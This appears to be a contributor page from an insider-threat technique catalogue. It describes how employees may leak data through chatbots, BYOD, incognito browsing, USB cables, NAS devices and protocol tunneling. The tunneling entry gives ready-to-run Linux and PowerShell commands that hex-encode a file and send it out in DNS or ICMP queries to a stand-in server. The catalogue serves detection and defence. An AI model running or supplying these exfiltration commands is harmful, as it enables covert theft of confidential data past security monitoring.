Ismael Briones-Vilar
Head of Security Operations
- AR4
- -IF018
Sharing on AI Chatbot Platforms - AR4
A subject interacts with a public Artificial Intelligence (AI) chatbot (such as ChatGPT and xAI Grok), leading to the intentional or unintentional sharing of sensitive information.
- AR2
- -ME022
Bring Your Own Device (BYOD) - AR2
An organization has a Bring Your Own Device (BYOD) policy, where a subject is authorized to connect personally owned devices—such as smartphones, tablets, or laptops—to organizational resources. These resources include corporate networks, cloud applications, and on-premises systems that may handle confidential and/or sensitive information. The use of personal devices in a corporate environment introduces several risks, as these devices may lack the same level of security controls and monitoring as organization-owned equipment.
- AR3
- -PR019
Private / Incognito Browsing - AR3
Private browsing, also known as 'incognito mode' among other terms, is a feature in modern web browsers that prevents the storage of browsing history, cookies, and site data on a subject's device. When private browsing is enabled, it ensures any browsing activity conducted during the browser session is not saved to the browser history or cache. A subject can use private browsing to conceal their actions in a web browser, such as navigating to unauthorized websites, downloading illicit materials, uploading corporate data or conducting covert communications, thus leaving minimal traces of their browsing activities on a device and frustrating forensic recovery efforts.
- AR3
- -PR020
Data Obfuscation - AR3
Data obfuscation is the act of deliberately obscuring or disguising data to avoid detection and/or hinder forensic analysis. A subject may obscure data in preparation to exfiltrate the data.
- AR4
- -IF001
- -IF001.005
Exfiltration via Note-Taking Web Services - AR4
A subject uploads confidential organization data to a note-taking web service, such as Evernote. The subject can then access the confidential data outside of the organization from another device. Examples include (URLs have been sanitized):hxxps://www.evernote[.]comhxxps://keep.google[.]comhxxps://www.notion[.]sohxxps://www.onenote[.]comhxxps://notebook.zoho[.]com
- AR4
- -IF002
- -IF002.006
Exfiltration via USB to USB Data Transfer - AR4
A USB to USB data transfer cable is a device designed to connect two computers directly together for the purpose of transferring files between them. These cables are equipped with a small electronic circuit to facilitate data transfer without the need for an intermediate storage device. Typically a USB to USB data transfer cable will require specific software to be installed to facilitate the data transfer. In the context of an insider threat, a USB to USB data transfer cable can be a tool for exfiltrating sensitive data from an organization's environment.
- AR4
- -IF002
- -IF002.010
Exfiltration via Bring Your Own Device (BYOD) - AR4
A subject connects their personal device, under a Bring Your Own Device (BYOD) policy, to organization resources, such as on-premises systems or cloud-based platforms. By leveraging this access, the subject exfiltrates sensitive or confidential data. This unauthorized data transfer can occur through various means, including copying files to the personal device, sending data via email, or using cloud storage services.
- AR4
- -IF004
- -IF004.003
Exfiltration via Personal NAS Device - AR4
A subject exfiltrates data using an organization-owned device (such as a laptop) by copying the data from the device to a personal Network Attached Storage (NAS) device, which is attached to a network outside of the control of the organization, such as a home network. Later, using a personal device, the subject accesses the NAS to retrieve the exfiltrated data.
- AR4
- -IF004
- -IF004.004
Exfiltration via Screen Sharing Software - AR4
A subject exfiltrates data outside of the organization's control using the built-in file transfer capabilities of software such as Teamviewer.
- AR4
- -IF004
- -IF004.005
Exfiltration via Protocol Tunneling - AR4
A subject exfiltrates data from an organization by encapsulating or hiding it within an otherwise legitimate protocol. This technique allows the subject to covertly transfer data, evading detection by standard security monitoring tools. Commonly used protocols, such as DNS and ICMP, are often leveraged to secretly transmit data to an external destination.DNS Tunneling (Linux)A simple example of how DNS tunneling might be achieved with 'Living off the Land' binaries (LoLBins) in Linux: Prerequisites:A domain the subject controls or can use for DNS queries.A DNS server to receive and decode the DNS queries. Steps:1. The subject uses xxd to create a hex dump of the file they wish to exfiltrate. For example, if the file is secret.txt: xxd -p secret.txt > secret.txt.hex 2. The subject splits the hexdump into manageable chunks that can fit into DNS query labels (each label can be up to 63 characters, but it’s often safe to use a smaller size, such as 32 characters): split -b 32 secret.txt.hex hexpart_ 3. The subject uses dig to send the data in DNS TXT queries. Looping through the split files and sending each chunk as the subdomain of example.com in a TXT record query: for part in hexpart_*; do h=$(cat $part) dig txt $h.example.comdone On the target DNS server that they control, the subject captures the incoming DNS TXT record queries on the receiving DNS server and decode the reassembled hex data from the subdomain of the query. DNS Tunneling (Windows)A simple example of how DNS tunneling might be achieved with PowerShell in Windows: Prerequisites:A the subject you controls.A DNS server or a script on the subjects server to capture and decode the DNS queries. Steps:1. The subject converts the sensitive file to hex: $filePath = "C:\path\to\your\secret.txt"$hexContent = [System.BitConverter]::ToString([System.IO.File]::ReadAllBytes($filePath)) -replace '-', '' 2. The subject splits the hex data into manageable chunks that can fit into DNS query labels (each label can be up to 63 characters, but it’s often safe to use a smaller size, such as 32 characters): $chunkSize = 32$chunks = $hexContent -split "(.{$chunkSize})" | Where-Object { $_ -ne "" } 3. The subject sends the data in DNS TXT queries. Looping through the hex data chunks and sending each chunk as the subdomain of example.com in a TXT record query: $domain = "example.com"foreach ($chunk in $chunks) { $query = "$chunk.$domain" Resolve-DnsName -Name $query -Type TXT} The subject will capture the incoming DNS TXT record queries on the receiving DNS server and decode the reassembled hex data from the subdomain of the query. ICMP Tunneling (Linux)A simple example of how ICMP tunneling might be achieved with 'Living off the Land' binaries (LOLBins) in Linux: Prerequisites:The subject has access to a server that can receive and process ICMP packets.The subject has root privileges on both client and server machines (as ICMP usually requires elevated permissions). Steps:1. The subject uses xxd to create a hex dump of the file they wish to exfiltrate. For example, if the file is secret.txt: xxd -p secret.txt > secret.txt.hex 2. The subject splits the hexdump into manageable chunks. ICMP packets have a payload size limit, so it’s common to use small chunks. The following command will split the hex data into 32-byte chunks: split -b 32 secret.txt.hex hexpart_ 3. The subject uses ping to send the data in ICMP echo request packets. Loop through the split files and send each chunk as part of the ICMP payload:DESTINATION_IP="subject_server_ip"for part in hexpart_*; do h=$(cat $part) ping -c 1 -p "$h" $DESTINATION_IPdone The subject will capture the incoming ICMP packets on the destination server, extract the data from the packets and decode the reassembled the hex data.